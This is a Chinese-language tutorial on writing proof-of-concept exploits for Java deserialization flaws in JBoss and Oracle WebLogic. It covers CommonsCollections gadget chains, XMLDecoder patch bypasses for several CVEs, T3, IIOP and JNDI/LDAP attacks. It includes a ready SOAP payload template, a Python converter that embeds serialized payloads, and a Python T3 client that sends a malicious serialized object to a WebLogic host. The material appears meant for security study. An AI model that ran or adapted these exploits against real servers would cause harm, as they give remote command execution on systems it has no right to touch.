浅析反序列化POC
字数 2422 2025-08-15 21:32:05
反序列化漏洞POC编写深度解析
0x00 JBOSS反序列化POC编写
CommonsCollections利用链
CommonsCollections反序列化利用链主要由四个Transformer类构成:
- ConstantTransformer:输入一个xxx.class,返回java.lang.Class的类对象
- InvokerTransformer:通过反射执行方法
- ChainedTransformer:将多个Transformer串联执行
- TransformedMap:触发transform方法的载体
典型利用流程
-
第一个InvokerTransformer执行:
Method getRun = Runtime.class.getMethod("getRuntime", 参数类型说明) -
第二个InvokerTransformer执行:
Runtime getRun = getRun.invoke(); -
第三个InvokerTransformer执行:
Method getexec = Runtime.class.getMethod("exec", 参数类型说明) getexec.invoke(getRun, 需要执行的命令) -
通过ChainedTransformer传入Transform数组,再传入TranformedMap,最终触发setValue方法执行命令
LazyMap类型POC构造
LazyMap没有setValue方法,需要通过get方法触发:
- 使用动态代理机制触发AnnotationInvocationHandler类的invoke方法
- 构造两次InvocationHandler代理:
- 第一次:为LazyMap创建代理对象,触发invoke方法中的default选项
- 第二次:让InvocationHandler代理对象进行readObject方法调用
BadAttributeValueExpException类型POC
利用链:
- BadAttributeValueExpException的readObject调用val域的toString方法
- TiedMapEntry类的toString调用getValue方法
- getValue方法调用LazyMap的get方法
- get方法触发ChainedTransformer的transform方法
完整流程:
CC链 → ChainedTransformer → LazyMap → TiedMapEntry → BadAttributeValueExpException的val域 → readObject → toString → getValue → get → transform
0x01 XMLDecoder反序列化POC编写
Weblogic XMLDecoder漏洞演变
-
CVE-2017-3506:
- 解析WorkContext标签内的java标签
- object标签指定加载类
- void标签指定方法
- array标签指定参数
-
CVE-2017-10271:
- 绕过补丁:使用void标签代替object标签(voidElementHandler继承自ObjectElementHandler)
-
CVE-2019-2725补丁限制:
- 禁用object、new、method标签
- void标签只能有index属性
- array标签的class属性值只能是byte
绕过补丁的POC构造
利用UnitOfWorkChangeSet类:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<array method="forName">
<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
<array class="byte" length="反序列化数据长度">
<void index="0">
<byte>-84</byte>
</void>
<!-- 更多byte数据 -->
</array>
</void>
</array>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
序列化数据转换脚本
# -*- coding:utf-8 -*-
import binascii
with open('poc', 'rb') as f:
a = binascii.b2a_hex(f.read()).decode('utf-8')
b = []
for i in range(len(a)//2):
c = '0x'+a[2*i]+a[2*i+1]
c = eval(c)
if int(c)>127:
# 补码转原码计算
c = int(c)
c ='{:08b}'.format(c)
c = list(c)
d = ''
for i in range(len(c)):
if i == 0: d += c[i]; continue
elif c[i] == '1': c[i] ='0'; d += c[i]
else: c[i] = '1'; d += c[i]
d = list(d)
pos = 0
for index in range(len(d)):
if d[index] == '0': pos = index
for index in range(pos,len(d)):
if d[index] == '0': d[index] = '1'
else: d[index] = '0'
d.remove(d[0])
d = '0b'+''.join(d)
d = '-' + str(eval(d))
b.append(d)
else:
b.append(str(c))
# 构造POC各部分
pocHeader = '<?xml version="1.0" encoding="utf-8"?>...'
pocBody = ''.join(f'<void index="{i}"><byte>{b[i]}</byte></void>' for i in range(len(b)))
pocFooter = '</array></void></array></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'
with open('poc.txt','w+') as f:
f.write(pocHeader + pocBody + pocFooter)
0x02 T3协议反序列化POC编写
T3协议握手流程
-
客户端发送握手信息:
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n -
服务端返回响应
-
客户端发送构造的序列化数据
T3数据构造方法
- 修改weblogic的stopWebLogic.sh脚本获取正常T3流量
- 分析流量结构:
- 固定T3数据头
- 反序列化数据段(以aced0005开头,fe010000结尾)
POC构造示例
# -*- coding:utf-8 -*-
import binascii
import socket
import time
def t3():
hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n'
host = ('192.168.23.128', 7001)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)
sock.connect(host)
sock.send(hello.encode('utf-8'))
time.sleep(1)
response = sock.recv(2048)
# T3请求数据
data1 = '000005be016501ffffffffffffffff000000690000ea600000001816e4292ca381af623658de6c3770e50a53746339ada2505a027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000...'
data2 = '14000a3137322e32302e302e325adb1b310000000078'
for d in [data1, data2]:
sock.send(binascii.a2b_hex(d))
print(sock.recv(2048))
# 加载恶意序列化数据
with open('poc1', 'rb') as f:
a = binascii.b2a_hex(f.read()).decode('utf-8')
header = '056508000000010000001b0000005b010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000ab08d9e9c939abfcecdcc7400087765626c6f67696306fe010000'
footer = 'fe010000'
data = header + a + footer
data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
sock.send(binascii.a2b_hex(data))
time.sleep(5)
if __name__ == "__main__":
t3()
0x03 IIOP反序列化POC
漏洞原理
Weblogic IIOP协议:
- 默认开启,与T3协议共用7001端口
- 漏洞原因:错误过滤JtaTransactionManager类
- T3协议使用resolveClass方法过滤(会检查父类)
- IIOP协议只检查本类类名,而JtaTransactionManager类不在黑名单且存在JNDI注入
POC构造要点
- 创建AnnotationInvocationHandler的动态代理
- 将代理对象发送到服务端进行反序列化
- 检测方法:发送IIOP请求,检查返回包中是否包含GIOP字段
0x04 JNDI注入类型LDAP反序列化
利用方式
- LDAP服务可以描述Java对象信息并返回序列化数据
- JNDI客户端自动反序列化返回的数据
POC构造步骤
- 生成恶意序列化文件
- 将序列化数据Base64编码
- 配置LDAP服务返回该序列化数据
- 客户端发起LDAP请求触发反序列化
关键参考链接
-
CommonsCollections分析:
- https://mp.weixin.qq.com/s/OMXrFc7uUN8wGv6yHno3Lg
- https://www.freebuf.com/articles/web/246081.html
-
LazyMap利用:
- https://www.freebuf.com/articles/web/247672.html
-
Weblogic XMLDecoder:
- https://www.freebuf.com/vuls/206374.html
-
T3协议分析:
- https://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/
-
IIOP协议分析:
- https://l3yx.github.io/2020/04/22/Weblogic-IIOP-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
-
JNDI注入:
- https://blog.csdn.net/weixin_44063566/article/details/88897261